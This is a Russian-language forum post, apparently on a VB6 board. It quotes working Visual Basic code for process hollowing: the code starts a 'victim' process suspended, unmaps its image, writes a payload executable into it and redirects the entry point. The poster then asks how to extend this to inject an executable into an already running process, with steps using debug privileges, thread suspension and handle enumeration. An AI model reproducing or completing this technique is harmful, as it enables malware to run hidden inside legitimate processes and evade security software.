Вопрос такой - есть код Оловянникова (?) -
[в любом случае - респекты автору кем бы он ни был!]
по запуску исполнимого файла в контексте внешнего приложения.
Мене интересует можно ли, и если да то как инжектировать и запустить
исполняемый файл в УЖЕ существующий процесс .
Подозреваю что модификация нужна минимальная .
Существующий алгоритм такой:
1. Читаем файл-payload в байтовый массив.
2. Делаем:
- Код: Выделить всё
'=====================================================================
If CreateProcess(vbNullString, sVictim, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi) = 0 Then
RunExe = -100
'MsgBox "Can not start victim process!", vbCritical
Exit Function
End If
context.ContextFlags = CONTEXT86_INTEGER
If GetThreadContext(pi.hThread, context) = 0 Then GoTo ClearProcess
Call ReadProcessMemory(pi.hProcess, ByVal context.Ebx + 8, addr, 4, 0)
If addr = 0 Then GoTo ClearProcess
If ZwUnmapViewOfSection(pi.hProcess, addr) Then GoTo ClearProcess
ImageBase = VirtualAllocEx(pi.hProcess, ByVal inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
If ImageBase = 0 Then GoTo ClearProcess
Call WriteProcessMemory(pi.hProcess, ByVal ImageBase, abExeFile(0), inh.OptionalHeader.SizeOfHeaders, ret)
lOffset = idh.e_lfanew + Len(inh)
For i = 0 To inh.FileHeader.NumberOfSections - 1
CopyMemory ish, abExeFile(lOffset + i * Len(ish)), Len(ish)
Call WriteProcessMemory(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, abExeFile(ish.PointerToRawData), ish.SizeOfRawData, ret)
Call VirtualProtectEx(pi.hProcess, ByVal ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect(ish.characteristics), addr)
Next i
Call WriteProcessMemory(pi.hProcess, ByVal context.Ebx + 8, ImageBase, 4, ret)
context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint
Call SetThreadContext(pi.hThread, context)
Call ResumeThread(pi.hThread)
Exit Function
ClearProcess:
CloseHandle pi.hThread
CloseHandle pi.hProcess
'=====================================================================
Насколько я понял используються только 2 параметра для ДАЛЬНЕЙШИХ
операций с процессом это - si и pi.
Вопрос - как их получить оные si и pi от любого внешнего процесса?
т.е. OpenProcess - получили хэндл ... а дальше?
МСДН:
LPSTARTUPINFO lpStartupInfo, // pointer to STARTUPINFO
LPPROCESS_INFORMATION lpProcessInformation // pointer to PROCESS_INFORMATION
GetStartupInfo - возвращает указатель внутри процесса на его StartupInfo.
Есть ли аналог функции для получения не своей STARTUPINFO (по ПИД-у? или ещё как?)
Навскидку - сработает инжектинг библиотеки с последующим вызовом GetStartupInfo,
и дампом оного для последующего инжектинга исполнительного модуля.
Ещё есть у кого-нить какие идеи насчёт получения STARTUPINFO?
Касательно PROCESS_INFORMATION - у меня вапстче нет идей .
Окромя этого:
- Код: Выделить всё
Private Declare Function NtQuerySystemInformation Lib "ntdll.dll" ( _
ByVal dwInfoType As Long, _
ByVal lpStructure As Long, _
ByVal dwSize As Long, _
dwReserved As Long) As Long
Вот пример использования:
- Код: Выделить всё
'first, find the RequiredLength for the SYSTEM_HANDLE_INFORMATION array
Status = NtQuerySystemInformation(SystemHandleInformation, _
ByVal VarPtr(Buffer(0)), ByVal RequiredLength, 0&)
If Status = 0 Then
Exit Do
End If
Возрат - указатель на т.н. SYSTEM_HANDLE_INFORMATION array ...
ИМХО де-то тута собака порылась ...
--
И последнее -
Так работать будет (?):
0. Установка SE_DEBUG Priv ...
1. OpenProcess.
2. SuspendThread.
3. Получаем si, pi.
4. Далее код Оловянникова .
5. ResumeThread.
???
--
Приветствуються любые _КОНСТРУКТИВНЫЕ_ коментарии \ идеи!
--
Заранее огромное спасибо!